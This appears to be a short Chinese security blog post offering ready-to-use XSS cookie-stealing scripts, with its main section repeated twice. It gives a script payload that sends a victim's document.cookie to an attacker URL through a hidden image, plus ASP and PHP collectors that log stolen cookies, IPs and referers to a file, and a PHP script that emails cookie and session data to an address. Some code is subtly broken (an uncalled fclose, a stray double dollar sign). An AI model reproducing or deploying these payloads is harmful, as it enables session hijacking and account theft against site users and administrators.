xss一些小脚本

暗月博客 2019年11月21日22:12:38评论455 views字数 1183阅读3分56秒阅读模式
摘要

xxx.1     xss 配合php获取cookie和session的脚本

<script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>
news.asp代码:
<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cook.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline(""&msg& "")
thisfile.close
set fs = nothing
%>

PHP版代码:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: '

.$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose
?>

xxx.1

    xss配合php获取cookie和session的脚本

<?php $ip = $_SERVER['REMOTE_ADDR']; $to='[email protected]'; $referer = $_SERVER['HTTP_REFERER']; $cookie = $_GET['cookie'];  $session = $_GET['session']; $agent = $_SERVER['HTTP_USER_AGENT']; $subject='远程XSS获取地址-域名:'.$referer; $body="<p> 远程管理员IP= ".$ip."<p> 访问时间=" . date('d-m-Y'). "<p> 后台地址=".$referer."<p> 浏览器类型=".$agent."<p> 当前页面地址=".$referer."<p> COOKIE信息=".$cookie."<p> Session信息=".$$session.'&nbsp;'. $headers= 'MIME-Version: 1.0' . "/r/n"; $headers.= 'Content-type: text/html; charset=utf-8' . "/r/n"; $headers.="Cleanreport.com"; mail($to, $subject, $body, $headers); ?>

<script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>
news.asp代码:
<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cook.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline(""&msg& "")
thisfile.close
set fs = nothing
%>

PHP版代码:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: '

.$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose
?>

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日22:12:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   xss一些小脚本https://cn-sec.com/archives/72906.html

发表评论

匿名网友 填写信息